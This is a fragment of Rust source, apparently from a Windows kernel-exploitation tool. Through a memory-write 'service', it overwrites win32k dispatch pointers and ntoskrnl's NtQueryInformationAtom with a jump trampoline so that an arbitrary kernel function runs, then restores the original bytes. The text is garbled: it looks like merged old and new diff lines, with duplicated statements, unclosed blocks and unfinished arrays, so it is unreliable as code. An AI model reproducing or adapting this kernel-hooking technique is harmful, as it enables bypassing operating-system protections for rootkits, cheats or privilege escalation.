// Wrap entire function because why not.
unsafe {
let nt_gdi_dd_ddi_reclaim_allocations = GetProcAddress(
LoadLibraryA("gdi32full.dll".as_ptr() as _),
"NtGdiDdDDIReclaimAllocations2".as_ptr() as _,
);
let nt_gdi_get_copp_compatible_opm_information = GetProcAddress(
LoadLibraryA("win32u.dll".as_ptr() as _),
"NtGdiGetCOPPCompatibleOPMInformation".as_ptr() as _,
let nt_query_information_atom = GetProcAddress(
LoadLibraryA("ntdll.dll\0".as_ptr() as _),
"NtQueryInformationAtom\0".as_ptr() as _,
);
if nt_gdi_dd_ddi_reclaim_allocations.is_null()
&& nt_gdi_get_copp_compatible_opm_information.is_null()
{
panic!("Failed to find NtGdiDdDDIReclaimAllocations2 or NtGdiGetCOPPCompatibleOPMInformation");
if nt_query_information_atom.is_null() {
panic!("Couldn't find target function, are you on 20h2?")
}
let mut kernel_fn_pointer: u64 = 0;
let mut kernel_function_jmp: [u8; 12] = [
let mut kernel_injected_jmp: [u8; 12] = [
0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xe0,
];
let mut kernel_original_function_address: u64 = 0;
let mut kernel_original_function_jmp = vec![0u8, 12];
let mut original_kernel_fn = vec![0u8; 12];
if !nt_gdi_dd_ddi_reclaim_allocations.is_null() {
// Get function pointer (@win32kbase!gDxgkInterface table) used by NtGdiDdDDIReclaimAllocations2
// and save the original address (dxgkrnl!DxgkReclaimAllocations2)
if !get_nt_gdi_dd_ddl_reclaim_allocations_info(
service,
&mut kernel_fn_pointer,
&mut kernel_original_function_address,
) {
return false;
}
((kernel_injected_jmp.as_mut_ptr() as usize + 2usize) as *mut u64)
.write(kernel_function_address);
// Overwrite the pointer with kernel_function_address
if !force_write_memory(
service,
kernel_fn_pointer,
&mut kernel_function_address as *mut u64 as _,
std::mem::size_of::<u64>() as _,
) {
return false;
}
} else {
if !get_nt_gdi_get_copp_compatible_opm_information_info(
service,
&mut kernel_fn_pointer,
kernel_original_function_jmp.as_mut_ptr(),
) {
return false;
}
let kernel_nt_query_information_atom = get_kernel_module_export(
service,
get_kernel_module_address("ntoskrnl.exe".to_string()),
"NtQueryInformationAtom",
);
// Overwrite jmp with 'movabs rax, <kernel_function_address>, jmp rax'
std::ptr::copy(
&kernel_function_address,
(kernel_function_jmp.as_ptr() as usize + 2usize) as _,
std::mem::size_of::<u64>(),
);
if !force_write_memory(
service,
kernel_fn_pointer,
kernel_function_jmp.as_mut_ptr() as *mut _,
(std::mem::size_of::<u8>() * kernel_function_jmp.len() as usize) as _,
) {
return false;
}
if kernel_nt_query_information_atom == 0 {
println!("Couldn't get export ntoskrnl.NtQueryInformationAtom");
return false;
}
let mut function = std::ptr::null_mut();
if !nt_gdi_get_copp_compatible_opm_information.is_null() {
function = nt_gdi_get_copp_compatible_opm_information;
} else if !nt_gdi_dd_ddi_reclaim_allocations.is_null() {
function = nt_gdi_dd_ddi_reclaim_allocations;
if !read_memory(
service,
kernel_nt_query_information_atom,
original_kernel_fn.as_mut_ptr() as _,
kernel_injected_jmp.len() as _,
) {
println!("Couldn't read memory");
return false;
}
if !function.is_null() {
call_function(function as _);
if !force_write_memory(
service,
kernel_nt_query_information_atom,
kernel_injected_jmp.as_ptr() as _,
kernel_injected_jmp.len() as _,
) {
println!("Couldn't write memory");
return false;
}
if !nt_gdi_dd_ddi_reclaim_allocations.is_null() {
force_write_memory(
service,
kernel_fn_pointer,
&mut kernel_original_function_address as *mut u64 as _,
std::mem::size_of::<u64>() as _,
);
} else {
force_write_memory(
service,
kernel_fn_pointer,
kernel_original_function_jmp.as_mut_ptr() as *mut _,
(std::mem::size_of::<u8>() * kernel_function_jmp.len() as usize) as _,
);
call_function(nt_query_information_atom as _);
if !force_write_memory(
service,
kernel_nt_query_information_atom,
original_kernel_fn.as_mut_ptr() as _,
original_kernel_fn.len() as _,
) {
println!("Couldn't restore function!");
return false;
}
// NOTE: this is for older versions of windows!
// let nt_gdi_dd_ddi_reclaim_allocations = GetProcAddress(
// LoadLibraryA("gdi32full.dll\0".as_ptr() as _),
// "NtGdiDdDDIReclaimAllocations2\0".as_ptr() as _,
// );
// let nt_gdi_get_copp_compatible_opm_information = GetProcAddress(
// LoadLibraryA("win32u.dll\0".as_ptr() as _),
// "NtGdiGetCOPPCompatibleOPMInformation\0".as_ptr() as _,
// );
// if nt_gdi_dd_ddi_reclaim_allocations.is_null()
// && nt_gdi_get_copp_compatible_opm_information.is_null()
// {
// panic!("Failed to find NtGdiDdDDIReclaimAllocations2 or NtGdiGetCOPPCompatibleOPMInformation");
// }
// let mut kernel_fn_pointer: u64 = 0;
// let mut kernel_original_function_address: u64 = 0;
// let mut kernel_original_function_jmp = vec![0u8, 12];
// if !nt_gdi_dd_ddi_reclaim_allocations.is_null() {
// // Get function pointer (@win32kbase!gDxgkInterface table) used by NtGdiDdDDIReclaimAllocations2
// // and save the original address (dxgkrnl!DxgkReclaimAllocations2)
// if !get_nt_gdi_dd_ddl_reclaim_allocations_info(
// service,
// &mut kernel_fn_pointer,
// &mut kernel_original_function_address,
// ) {
// return false;
// }
// // Overwrite the pointer with kernel_function_address
// if !force_write_memory(
// service,
// kernel_fn_pointer,
// &mut kernel_function_address as *mut u64 as _,
// std::mem::size_of::<u64>() as _,
// ) {
// return false;
// }
// } else {
// if !get_nt_gdi_get_copp_compatible_opm_information_info(
// service,
// &mut kernel_fn_pointer,
// kernel_original_function_jmp.as_mut_ptr(),
// ) {
// return false;
// }
// // Overwrite jmp with 'movabs rax, <kernel_function_address>, jmp rax'
// std::ptr::copy(
// &kernel_function_address,
// (kernel_function_jmp.as_ptr() as usize + 2usize) as _,
// std::mem::size_of::<u64>(),
// );
// if !force_write_memory(
// service,
// kernel_fn_pointer,
// kernel_function_jmp.as_mut_ptr() as *mut _,
// (std::mem::size_of::<u8>() * kernel_function_jmp.len() as usize) as _,
// ) {
// return false;
// }
// }
// let mut function = std::ptr::null_mut();
// if !nt_gdi_get_copp_compatible_opm_information.is_null() {
// function = nt_gdi_get_copp_compatible_opm_information;
// } else if !nt_gdi_dd_ddi_reclaim_allocations.is_null() {
// function = nt_gdi_dd_ddi_reclaim_allocations;
// }
// if !function.is_null() {
// call_function(function as _);
// }
// if !nt_gdi_get_copp_compatible_opm_information.is_null() {
// force_write_memory(
// service,
// kernel_fn_pointer,
// &mut kernel_original_function_address as *mut u64 as _,
// std::mem::size_of::<u64>() as _,
// );
// } else {
// force_write_memory(
// service,
// kernel_fn_pointer,
// kernel_original_function_jmp.as_mut_ptr() as *mut _,
// (std::mem::size_of::<u8>() * kernel_function_jmp.len() as usize) as _,
// );
// }
}
println!("Succesfully called kernel fn!");
true
}